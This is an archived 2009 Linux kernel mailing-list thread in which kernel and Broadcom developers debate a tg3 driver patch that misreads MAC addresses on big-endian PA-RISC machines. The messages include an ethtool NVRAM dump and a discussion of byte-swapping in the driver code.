Original-Received: from mms3.broadcom.com ([216.31.210.19]:3056 "EHLO MMS3.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751268AbZDNBRY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 21:17:24 -0400
Original-Received: from [10.11.16.99] by MMS3.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 18:17:11 -0700
X-Server-Uuid: B55A25B1-5D7D-41F8-BC53-C57E7AD3C201
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 742282C1; Mon, 13 Apr 2009 18:17:11 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id 5E6C72B0; Mon, 13 Apr
 2009 18:17:11 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPM09564; Mon, 13 Apr 2009 18:17:10 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id BBE6F74D03; Mon, 13
 Apr 2009 18:17:10 -0700 (PDT)
In-Reply-To: <1239655698.3278.83.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FD3B9D5Y821272526-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1523>

Sorry for the delay.  I just ran the same experiment on an ia64 we have
in-house.  The results were the same.  The machine was a HP integrity
BL870C pre-production blade with dual 5704S LOMs.  More responses
inline.

On Mon, Apr 13, 2009 at 01:48:18PM -0700, James Bottomley wrote:
> On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> > But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> > return the data in bytestream format.  A memcpy() should be all that is
> > needed to transport the data to a different memory location.
> 
> But not the one you've done.  cpu_to_be32 is a nop pass through on our
> architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
> our architecture (i.e. identical to the code that was doing the read in
> 2.6.29).

tg3_nvram_read() returns a 32-bit word of NVRAM data, swapped according to
the byteswapping rules for all register accesses.  On big endian machines,
the data returned will be exactly as it would have been in NVRAM.  On
little endian machines, the data will be swapped when compared to a raw
read of the NVRAM.  To bring the data back to a bytestream format on LE
systems, a swap is needed.  After that, a memcpy should be all that is
required to extract the MAC address.

Code that operates on data in a bytestream format will necessarily look
different than code that operates on data as a 32-bit native endian
quantity.  The code changes can look a bit drastic and are easily
culpable at first glance.

> However, the memcpy is the wrong way around for us.

It shouldn't be, and that is the problem.  We are trying to determine
why the data isn't in the form we think it should be in.  The most
difficult part of this discussion is convincing ourselves that the end
result is the same, even though the path to get there changes in
significant ways.

The old code read the data from NVRAM, did a blind swap of the data and
then operated on that data as a 32-bit quantity.  The blind swap was
completely superfluous and only changed which byte the driver attempted
to get its data.  An important property of this version is that the
same code when working with machines of either endianness.

If you are with me this far, then hopefully you can see that, while the
two versions of the code appear different, they wind up with the same
result.  The change was made because the code became much more readable
when we describe the operations as a bytestream.

> If you look at an example, the original code said
> 
> dev_addr[0] = hi >> 16;
> dev_addr[1] = hi >> 24
> 
> So MSB-1 and MSB.  However, on a BE machine these are at offset one and
> zero from the start of the word.  The replacement memcopy is:
> 
> memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2)
> 
> i.e. offset 3 and 4, which actually copies LSB-1 and LSB into there.
> You can follow similar logic to show that the lo copy is wrong too.

Yes.  The code will be different depending on whether you treat the data
as a native endian 32-bit word or as a 4 byte segment of a bytestream.

> Perhaps the fix is just to put the tg3_nvram_read() back as well as the
> original by loads?

The code is much more readable with the changes in place.  I'd rather
not back them out.  I'd like to find out why you are getting different
results than I am with my tests.

I just saw your NVRAM dump post.  Perhaps that'll shed some light on the
matter.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 18:25:48 -0700
Lines: 197
Approved: news@gmane.org
Message-ID: <20090414012548.GB11615@xw6200.broadcom.net>
References: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
 <20090413.143211.214694858.davem@davemloft.net>
 <1239658951.3278.104.camel@mulgrave.int.hansenpartnership.com>
 <1239661059.9237.4.camel@HP1>
 <1239661934.3278.113.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239672371 21636 80.91.229.12 (14 Apr 2009 01:26:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 01:26:11 +0000 (UTC)
Cc: "Michael Chan" <mchan@broadcom.com>,
	"David Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"Matthew Carlson" <mcarlson@broadcom.com>
To: "James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 03:27:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtXQu-0000il-8z
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 03:27:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751531AbZDNB0B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 21:26:01 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751319AbZDNB0B
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 21:26:01 -0400
Original-Received: from mms2.broadcom.com ([216.31.210.18]:3364 "EHLO mms2.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750839AbZDNB0A (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 21:26:00 -0400
Original-Received: from [10.11.16.99] by mms2.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 18:25:50 -0700
X-Server-Uuid: D3C04415-6FA8-4F2C-93C1-920E106A2031
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 09D9A2C1; Mon, 13 Apr 2009 18:25:50 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id E7B5B2B0; Mon, 13 Apr
 2009 18:25:49 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPM10402; Mon, 13 Apr 2009 18:25:48 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id C2C3D74D03; Mon, 13
 Apr 2009 18:25:48 -0700 (PDT)
In-Reply-To: <1239661934.3278.113.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FD39943D420955038-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1524 gmane.linux.network:125222
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1524>

On Mon, Apr 13, 2009 at 03:32:14PM -0700, James Bottomley wrote:
> On Mon, 2009-04-13 at 15:17 -0700, Michael Chan wrote:
> > On Mon, 2009-04-13 at 14:42 -0700, James Bottomley wrote:
> > 
> > > ---
> > > On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> > > > But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> > > > return the data in bytestream format.  A memcpy() should be all that is
> > > > needed to transport the data to a different memory location.
> > > 
> > > But not the one you've done.  cpu_to_be32 is a nop pass through on our
> > > architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
> > > our architecture (i.e. identical to the code that was doing the read in
> > > 2.6.29).  However, the memcpy is the wrong way around for us.  If you
> > > look at an example, the original code said
> > 
> > The old tg3_nvram_read() had a swab32() after the readl().  The new
> > tg3_nvram_read() no longer has the swab32().  There were too many layers
> > of swapping in the old code and that's why Matt wanted to clean it up.
> > 
> > James, can do dump out the nvram content on the parisc?
> > 
> > ethtool -e eth0 length 0x90
> > 
> > Thanks.
> 
> Sure, ion's is
> 
> ion:~# ethtool -e eth0 length 0x90
> Address         Data
> ----------      ----
> 0x00000000      0xaa
> 0x00000001      0x55
> 0x00000002      0x99
> 0x00000003      0x66

Michael noticed that your NVRAM signature is byteswapped in NVRAM. (!)
That also explains why the driver is trying to obtain the MAC address
through NVRAM, rather than getting it from shared memory.  The device's
bootcode is not working correctly.

> 0x00000004      0x00
> 0x00000005      0x00
> 0x00000006      0x00
> 0x00000007      0x08
> 0x00000008      0x29
> 0x00000009      0x02
> 0x0000000a      0x00
> 0x0000000b      0x00
> 0x0000000c      0x00
> 0x0000000d      0x02
> 0x0000000e      0x00
> 0x0000000f      0x00
> 0x00000010      0xc5
> 0x00000011      0x3c
> 0x00000012      0x82
> 0x00000013      0x9b
> 0x00000014      0x00
> 0x00000015      0x00
> 0x00000016      0x00
> 0x00000017      0x00
> 0x00000018      0x00
> 0x00000019      0x00
> 0x0000001a      0x00
> 0x0000001b      0x00
> 0x0000001c      0x00
> 0x0000001d      0x00
> 0x0000001e      0x00
> 0x0000001f      0x00
> 0x00000020      0x00
> 0x00000021      0x00
> 0x00000022      0x00
> 0x00000023      0x00
> 0x00000024      0x00
> 0x00000025      0x00
> 0x00000026      0x00
> 0x00000027      0x00
> 0x00000028      0x00
> 0x00000029      0x00
> 0x0000002a      0x00
> 0x0000002b      0x00
> 0x0000002c      0x00
> 0x0000002d      0x00
> 0x0000002e      0x00
> 0x0000002f      0x00
> 0x00000030      0x00
> 0x00000031      0x00
> 0x00000032      0x00
> 0x00000033      0x00
> 0x00000034      0x00
> 0x00000035      0x00
> 0x00000036      0x00
> 0x00000037      0x00
> 0x00000038      0x00
> 0x00000039      0x00
> 0x0000003a      0x00
> 0x0000003b      0x00
> 0x0000003c      0x00
> 0x0000003d      0x00
> 0x0000003e      0x00
> 0x0000003f      0x00
> 0x00000040      0x00
> 0x00000041      0x00
> 0x00000042      0x00
> 0x00000043      0x00
> 0x00000044      0x00
> 0x00000045      0x00
> 0x00000046      0x00
> 0x00000047      0x00
> 0x00000048      0x00
> 0x00000049      0x00
> 0x0000004a      0x00
> 0x0000004b      0x00
> 0x0000004c      0x00
> 0x0000004d      0x00
> 0x0000004e      0x00
> 0x0000004f      0x00
> 0x00000050      0x00
> 0x00000051      0x00
> 0x00000052      0x00
> 0x00000053      0x00
> 0x00000054      0x00
> 0x00000055      0x00
> 0x00000056      0x00
> 0x00000057      0x00
> 0x00000058      0x00
> 0x00000059      0x00
> 0x0000005a      0x00
> 0x0000005b      0x00
> 0x0000005c      0x00
> 0x0000005d      0x00
> 0x0000005e      0x00
> 0x0000005f      0x00
> 0x00000060      0x00
> 0x00000061      0x00
> 0x00000062      0x00
> 0x00000063      0x00
> 0x00000064      0x00
> 0x00000065      0x00
> 0x00000066      0x00
> 0x00000067      0x00
> 0x00000068      0x00
> 0x00000069      0x00
> 0x0000006a      0x00
> 0x0000006b      0x00
> 0x0000006c      0x00
> 0x0000006d      0x00
> 0x0000006e      0x00
> 0x0000006f      0x00
> 0x00000070      0x00
> 0x00000071      0x00
> 0x00000072      0x00
> 0x00000073      0x00
> 0x00000074      0x8c
> 0x00000075      0x00
> 0x00000076      0x00
> 0x00000077      0x43
> 0x00000078      0x10
> 0x00000079      0x61
> 0x0000007a      0x20
> 0x0000007b      0x00
> 0x0000007c      0x30
> 0x0000007d      0x00
> 0x0000007e      0x00
> 0x0000007f      0x00
> 0x00000080      0x59
> 0x00000081      0x15
> 0x00000082      0x4b
> 0x00000083      0x6e

Yes.  And your MAC address in NVRAM is 00:00:59:15:4b:6e.  And again, HP
MAC addresses start with 00:30:6e, so the data is byteswapped in NVRAM.
(00:00:59 MAC addresses belong to "hellige gmbh").

> 0x00000084      0x39
> 0x00000085      0x4d
> 0x00000086      0x43
> 0x00000087      0x42
> 0x00000088      0x30
> 0x00000089      0x30
> 0x0000008a      0x37
> 0x0000008b      0x35
> 0x0000008c      0x00
> 0x0000008d      0x00
> 0x0000008e      0x36
> 0x0000008f      0x41
> 
> James
> 
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 18:40:35 -0700 (PDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20090413.184035.137905532.davem@davemloft.net>
References: <1239661059.9237.4.camel@HP1>
	<1239661934.3278.113.camel@mulgrave.int.hansenpartnership.com>
	<20090414012548.GB11615@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239673262 23183 80.91.229.12 (14 Apr 2009 01:41:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 01:41:02 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, mchan@broadcom.com,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: mcarlson@broadcom.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 03:42:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtXfF-0003wM-AP
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 03:42:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752501AbZDNBkq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 21:40:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753308AbZDNBkq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 21:40:46 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:50660
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1752391AbZDNBko (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 21:40:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id DD0FCC8C1AC;
	Mon, 13 Apr 2009 18:40:35 -0700 (PDT)
In-Reply-To: <20090414012548.GB11615@xw6200.broadcom.net>
X-Mailer: Mew version 6.2.51 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1525 gmane.linux.network:125223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1525>

From: "Matt Carlson" <mcarlson@broadcom.com>
Date: Mon, 13 Apr 2009 18:25:48 -0700

> Michael noticed that your NVRAM signature is byteswapped in NVRAM. (!)
> That also explains why the driver is trying to obtain the MAC address
> through NVRAM, rather than getting it from shared memory.  The device's
> bootcode is not working correctly.

If this problem is pervasive, which it seems it is since we
have at least two people hitting this problem, we'll need
to find a way to handle it without saying "update your
BIOS or system firmware"
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 19:00:15 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20090414020015.GC11615@xw6200.broadcom.net>
References: <1239661059.9237.4.camel@HP1>
 <1239661934.3278.113.camel@mulgrave.int.hansenpartnership.com>
 <20090414012548.GB11615@xw6200.broadcom.net>
 <20090413.184035.137905532.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239674462 26159 80.91.229.12 (14 Apr 2009 02:01:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 02:01:02 +0000 (UTC)
Cc: "Matthew Carlson" <mcarlson@broadcom.com>,
	"James.Bottomley@HansenPartnership.com" 
	<James.Bottomley@HansenPartnership.com>,
	"Michael Chan" <mchan@broadcom.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: "David Miller" <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 04:02:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtXyX-0007Z2-TG
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 04:02:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752104AbZDNCAe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 22:00:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750839AbZDNCAe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 22:00:34 -0400
Original-Received: from mms3.broadcom.com ([216.31.210.19]:3579 "EHLO MMS3.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750721AbZDNCAd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 22:00:33 -0400
Original-Received: from [10.11.16.99] by MMS3.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 19:00:20 -0700
X-Server-Uuid: B55A25B1-5D7D-41F8-BC53-C57E7AD3C201
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 E80332C1; Mon, 13 Apr 2009 19:00:19 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id D1FA82B0; Mon, 13 Apr
 2009 19:00:19 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPM13760; Mon, 13 Apr 2009 19:00:17 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id B1D2574D06; Mon, 13
 Apr 2009 19:00:16 -0700 (PDT)
In-Reply-To: <20090413.184035.137905532.davem@davemloft.net>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FD31BE5Y821287693-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1526 gmane.linux.network:125225
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1526>

On Mon, Apr 13, 2009 at 06:40:35PM -0700, David Miller wrote:
> From: "Matt Carlson" <mcarlson@broadcom.com>
> Date: Mon, 13 Apr 2009 18:25:48 -0700
> 
> > Michael noticed that your NVRAM signature is byteswapped in NVRAM. (!)
> > That also explains why the driver is trying to obtain the MAC address
> > through NVRAM, rather than getting it from shared memory.  The device's
> > bootcode is not working correctly.
> 
> If this problem is pervasive, which it seems it is since we
> have at least two people hitting this problem, we'll need
> to find a way to handle it without saying "update your
> BIOS or system firmware"

Well, Robin's problem looks distinctly different than James'.  I believe
Robin's problem has to do with the legacy EEPROM access routines.  The
patchset may have overlooked something in that area.  I just need to
gather evidence to prove it.

I did run some tests this afternoon on a similar IA64 HP machine and
they ran fine.  Consequently, I'm optimistic that James' problem is local
to his machine.  If this turns out to be a wider problem, then I agree
we'll need to find an appropriate solution.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 22:19:36 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20090414021936.GA30359@bombadil.infradead.org>
References: <1239661059.9237.4.camel@HP1> <1239661934.3278.113.camel@mulgrave.int.hansenpartnership.com> <20090414012548.GB11615@xw6200.broadcom.net> <20090413.184035.137905532.davem@davemloft.net> <20090414020015.GC11615@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239675636 28982 80.91.229.12 (14 Apr 2009 02:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 02:20:36 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	"James.Bottomley@HansenPartnership.com" 
	<James.Bottomley@HansenPartnership.com>,
	Michael Chan <mchan@broadcom.com>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: netdev-owner@vger.kernel.org Tue Apr 14 04:21:54 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtYHa-0002kh-5P
	for linux-netdev-2@gmane.org; Tue, 14 Apr 2009 04:21:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753142AbZDNCTl (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Mon, 13 Apr 2009 22:19:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752595AbZDNCTk
	(ORCPT <rfc822;netdev-outgoing>); Mon, 13 Apr 2009 22:19:40 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57976 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752651AbZDNCTj (ORCPT
	<rfc822;netdev@vger.kernel.org>); Mon, 13 Apr 2009 22:19:39 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LtYFM-0004H9-Q4; Tue, 14 Apr 2009 02:19:36 +0000
Content-Disposition: inline
In-Reply-To: <20090414020015.GC11615@xw6200.broadcom.net>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:125226 gmane.linux.ports.parisc:1527
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1527>

On Mon, Apr 13, 2009 at 07:00:15PM -0700, Matt Carlson wrote:
> I did run some tests this afternoon on a similar IA64 HP machine and
> they ran fine.  Consequently, I'm optimistic that James' problem is local
> to his machine.  If this turns out to be a wider problem, then I agree
> we'll need to find an appropriate solution.
> 

ia64 Linux is little endian...

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 19:51:59 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20090413.195159.56924183.davem@davemloft.net>
References: <20090414012548.GB11615@xw6200.broadcom.net>
	<20090413.184035.137905532.davem@davemloft.net>
	<20090414020015.GC11615@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239677554 32178 80.91.229.12 (14 Apr 2009 02:52:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 02:52:34 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, mchan@broadcom.com,
	netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: mcarlson@broadcom.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 04:53:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtYmH-0008Q1-4X
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 04:53:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751838AbZDNCwJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 22:52:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752439AbZDNCwJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 22:52:09 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:45725
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751838AbZDNCwI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 22:52:08 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 99152C8C1AC;
	Mon, 13 Apr 2009 19:51:59 -0700 (PDT)
In-Reply-To: <20090414020015.GC11615@xw6200.broadcom.net>
X-Mailer: Mew version 6.2.51 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1528 gmane.linux.network:125227
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1528>

From: "Matt Carlson" <mcarlson@broadcom.com>
Date: Mon, 13 Apr 2009 19:00:15 -0700

> I did run some tests this afternoon on a similar IA64 HP machine and
> they ran fine.

It can't be similar, James Bottomly is on HP PARISC (big endian) not
IA64 (which is little endian).

I'm still convinced this is a big-endian driver problem and it has
nothing to do with broken NVRAM or similar.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
